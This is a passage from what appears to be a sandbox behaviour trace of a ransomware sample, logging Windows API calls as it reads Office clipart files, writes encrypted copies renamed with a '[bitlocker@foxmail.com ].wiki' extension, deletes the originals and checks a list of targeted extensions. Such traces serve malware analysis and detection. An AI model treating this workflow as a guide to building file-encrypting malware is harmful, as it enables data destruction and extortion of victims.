lstrlenW (lpString="FD00779_.WMF") returned 12 [0188.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.954] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=9010) returned 1 [0188.954] CloseHandle (hObject=0x1e0) returned 1 [0188.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20 [0188.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.954] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.954] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0188.955] GetLastError () returned 0x0 [0188.955] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x2332, lpOverlapped=0x0) returned 1 [0189.046] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x2340, lpOverlapped=0x0) returned 1 [0189.047] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.047] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.047] SetEndOfFile (hFile=0x220) returned 1 [0189.047] CloseHandle (hObject=0x220) returned 1 [0189.047] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.047] SetEndOfFile (hFile=0x1e0) returned 1 [0189.048] CloseHandle (hObject=0x1e0) returned 1 [0189.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0189.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.048] lstrlenW (lpString=".doc") returned 4 [0189.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.048] lstrlenW (lpString=".docx") returned 5 [0189.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.049] lstrlenW (lpString=".pdf") returned 4 [0189.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.049] lstrlenW (lpString=".xls") returned 4 [0189.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.049] lstrlenW (lpString=".xlsx") returned 5 [0189.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.049] lstrlenW (lpString=".ppt") returned 4 [0189.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.049] lstrlenW (lpString=".zip") returned 4 [0189.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.049] lstrlenW (lpString=".rar") returned 4 [0189.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.049] lstrlenW (lpString=".bz2") returned 4 [0189.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.049] lstrlenW (lpString=".7z") returned 3 [0189.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.049] lstrlenW (lpString=".dbf") returned 4 [0189.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.049] lstrlenW (lpString=".1cd") returned 4 [0189.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.049] lstrlenW (lpString=".jpg") returned 4 [0189.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.049] lstrlenW (lpString=".doc") returned 4 [0189.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.049] lstrlenW (lpString=".docx") returned 5 [0189.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.050] lstrlenW (lpString=".pdf") returned 4 [0189.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.050] lstrlenW (lpString=".xls") returned 4 [0189.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.050] lstrlenW (lpString=".xlsx") returned 5 [0189.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.050] lstrlenW (lpString=".ppt") returned 4 [0189.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.050] lstrlenW (lpString=".zip") returned 4 [0189.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.050] lstrlenW (lpString=".rar") returned 4 [0189.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.050] lstrlenW (lpString=".bz2") returned 4 [0189.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.050] lstrlenW (lpString=".7z") returned 3 [0189.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.050] lstrlenW (lpString=".dbf") returned 4 [0189.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.050] lstrlenW (lpString=".1cd") returned 4 [0189.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 63 [0189.050] lstrlenW (lpString=".jpg") returned 4 [0189.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.050] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.051] lstrlenW (lpString="FD00965_.WMF") returned 12 [0189.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.051] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=15164) returned 1 [0189.051] CloseHandle (hObject=0x1e0) returned 1 [0189.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20 [0189.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.051] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.051] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.052] GetLastError () returned 0x0 [0189.052] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x3b3c, lpOverlapped=0x0) returned 1 [0189.086] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x3b40, lpOverlapped=0x0) returned 1 [0189.087] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.088] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.088] SetEndOfFile (hFile=0x220) returned 1 [0189.088] CloseHandle (hObject=0x220) returned 1 [0189.088] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.088] SetEndOfFile (hFile=0x1e0) returned 1 [0189.089] CloseHandle (hObject=0x1e0) returned 1 [0189.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.089] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0189.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.089] lstrlenW (lpString=".doc") returned 4 [0189.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.089] lstrlenW (lpString=".docx") returned 5 [0189.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.089] lstrlenW (lpString=".pdf") returned 4 [0189.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.089] lstrlenW (lpString=".xls") returned 4 [0189.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.089] lstrlenW (lpString=".xlsx") returned 5 [0189.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.089] lstrlenW (lpString=".ppt") returned 4 [0189.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.089] lstrlenW (lpString=".zip") returned 4 [0189.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.090] lstrlenW (lpString=".rar") returned 4 [0189.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.090] lstrlenW (lpString=".bz2") returned 4 [0189.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.090] lstrlenW (lpString=".7z") returned 3 [0189.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.090] lstrlenW (lpString=".dbf") returned 4 [0189.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.090] lstrlenW (lpString=".1cd") returned 4 [0189.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.090] lstrlenW (lpString=".jpg") returned 4 [0189.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.090] lstrlenW (lpString=".doc") returned 4 [0189.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.090] lstrlenW (lpString=".docx") returned 5 [0189.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.090] lstrlenW (lpString=".pdf") returned 4 [0189.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.090] lstrlenW (lpString=".xls") returned 4 [0189.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.090] lstrlenW (lpString=".xlsx") returned 5 [0189.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.090] lstrlenW (lpString=".ppt") returned 4 [0189.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.090] lstrlenW (lpString=".zip") returned 4 [0189.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.090] lstrlenW (lpString=".rar") returned 4 [0189.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.091] lstrlenW (lpString=".bz2") returned 4 [0189.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.091] lstrlenW (lpString=".7z") returned 3 [0189.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.091] lstrlenW (lpString=".dbf") returned 4 [0189.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.091] lstrlenW (lpString=".1cd") returned 4 [0189.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0189.091] lstrlenW (lpString=".jpg") returned 4 [0189.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.091] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.091] lstrlenW (lpString="FD01191_.WMF") returned 12 [0189.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.091] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3964) returned 1 [0189.092] CloseHandle (hObject=0x1e0) returned 1 [0189.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x20 [0189.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.092] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.092] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.095] GetLastError () returned 0x0 [0189.095] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xf7c, lpOverlapped=0x0) returned 1 [0189.118] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0189.119] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.119] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.119] SetEndOfFile (hFile=0x220) returned 1 [0189.119] CloseHandle (hObject=0x220) returned 1 [0189.119] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.119] SetEndOfFile (hFile=0x1e0) returned 1 [0189.120] CloseHandle (hObject=0x1e0) returned 1 [0189.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0189.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.121] lstrlenW (lpString=".doc") returned 4 [0189.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.121] lstrlenW (lpString=".docx") returned 5 [0189.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.121] lstrlenW (lpString=".pdf") returned 4 [0189.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.121] lstrlenW (lpString=".xls") returned 4 [0189.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.121] lstrlenW (lpString=".xlsx") returned 5 [0189.121] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.121] lstrlenW (lpString=".ppt") returned 4 [0189.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.121] lstrlenW (lpString=".zip") returned 4 [0189.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.121] lstrlenW (lpString=".rar") returned 4 [0189.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.121] lstrlenW (lpString=".bz2") returned 4 [0189.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.121] lstrlenW (lpString=".7z") returned 3 [0189.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.121] lstrlenW (lpString=".dbf") returned 4 [0189.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.121] lstrlenW (lpString=".1cd") returned 4 [0189.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.121] lstrlenW (lpString=".jpg") returned 4 [0189.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.122] lstrlenW (lpString=".doc") returned 4 [0189.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.122] lstrlenW (lpString=".docx") returned 5 [0189.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.122] lstrlenW (lpString=".pdf") returned 4 [0189.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.122] lstrlenW (lpString=".xls") returned 4 [0189.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.122] lstrlenW (lpString=".xlsx") returned 5 [0189.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.122] lstrlenW (lpString=".ppt") returned 4 [0189.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.122] lstrlenW (lpString=".zip") returned 4 [0189.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.122] lstrlenW (lpString=".rar") returned 4 [0189.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.122] lstrlenW (lpString=".bz2") returned 4 [0189.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.122] lstrlenW (lpString=".7z") returned 3 [0189.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.122] lstrlenW (lpString=".dbf") returned 4 [0189.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.122] lstrlenW (lpString=".1cd") returned 4 [0189.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 63 [0189.122] lstrlenW (lpString=".jpg") returned 4 [0189.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.123] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.123] lstrlenW (lpString="FD01657_.WMF") returned 12 [0189.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.123] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=30414) returned 1 [0189.123] CloseHandle (hObject=0x1e0) returned 1 [0189.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" 